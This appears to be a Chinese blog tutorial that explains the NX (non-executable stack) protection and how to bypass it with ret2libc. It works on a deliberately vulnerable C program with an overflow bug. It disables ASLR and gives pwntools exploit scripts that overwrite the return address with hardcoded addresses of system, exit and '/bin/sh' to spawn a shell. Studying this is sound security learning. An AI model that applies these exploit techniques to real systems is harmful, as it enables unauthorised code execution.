NX機制及繞過策略-ret2libc

程序:
1.c

#include <stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
	char str[0x20];
	read(0,str,0x50);
}
int main()
{
	func();
	return 0;
}

0x01 NX介紹

溢出攻擊的本質在於馮·諾依曼計算機模型對數據和代碼沒有明確區分這一先天性缺陷。因爲攻擊者可以將代碼放置於數據區段,轉而讓系統去執行。

NX緩解機制開啓後,使某些內存區域不可執行,並使可執行區域不可寫。示例:使數據,堆棧和堆段不可執行,而代碼段不可寫。

2. 編譯

gcc -Wall -g -o nx 1.c -fno-stack-protector -m32

沒有使用 -z execstack ,所以數據所在內存頁標識爲不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。

關閉ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

在這裏插入圖片描述
我們用下面的程序執行獲取權限,將會報錯(我試了,這裏就不貼圖了),因爲開啓了NX保護機制。這是關閉NX獲取權限的,我寫在這篇文章上了:
https://blog.csdn.net/qq_41683305/article/details/105014197

from pwn import *
p=process('./nx')
offset = 0x28+0x4
payload ='a'*offset+p32(0x8049172)
p.sendline(payload)
p.interactive()

0x03 原因

運行起nx,並保持運行狀態,新打開一個終端,輸入ps -a,查看nx的pid,然後執行cat /proc/52799/maps
在這裏插入圖片描述
發現stack不可以執行,我們的shellcode不可以執行了

0x04 ret2libc

ret2libc即控制函數執行libc中的函數,通常是返回至某個函數的plt處或者函數的具體位置(即函數對應的got表項的內容)。
一般情況下,我們會選擇執行system("/bin/sh"),在不存在ASLR(地址隨機化)的情況下,可以直接通過調試獲得system的函數地址以及“/bin/sh”的地址 。
在這裏插入圖片描述
佈局完成後,返回地址return_addr被覆蓋爲libc文件裏的system函數地址,當運行到esp位置時,會跳轉到system中執行,同時,esp指向esp+4,這時對system來說,它內部的ret(返回地址)執行時esp指針還是指向esp+4的,也就是esp + 4(0xdeadbeef)就是system函數的返回地址,而esp+8則是它的參數

在這裏插入圖片描述

注:對於不想使程序崩潰,可以將esp+4的覆蓋爲exit函數的地址

0x06 找地址

先執行start,運行我們的程序,然後輸入下圖內容,找到system和exit地址
在這裏插入圖片描述
接着找/bin/sh地址
在這裏插入圖片描述
我用的是第一個地址,成功了,後面兩個我沒有嘗試
三個地址都找到了,修改我們的poc程序:
1.py

# -*- coding: utf-8 -*-
from pwn import *
p=process('./nx')
offset = 0x28+0x4
payload ='a'*offset+p32(0xf7e13660) 
payload+=p32(0xf7e066f0)
payload+=p32(0x56557008)
p.sendline(payload)
p.interactive()

接着執行,成功獲取權限
在這裏插入圖片描述

0x08 總結

Ret2Libc雖然把數據放在了不具備可執行權限的棧上,但成功執行了shellcode,這是因爲只是把輸入數據當做純數據來間接劫持程序的執行流。

這個程序的成功執行得利於關閉ASLR,system和exit函數的地址才能固定下來。我們構造poc才方便很多。

ret2libc的精髓之處在於,把ret addr修改成libc庫中的函數地址,並且構造了system函數的參數。對於DEP防禦來說,你不讓我執行我的代碼,我就利用你的函數達到我的目的。這邊是面向返回編程的設計思路。

參考:

https://www.jianshu.com/p/c90530c910b0
https://blog.csdn.net/counsellor/article/details/81986052?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章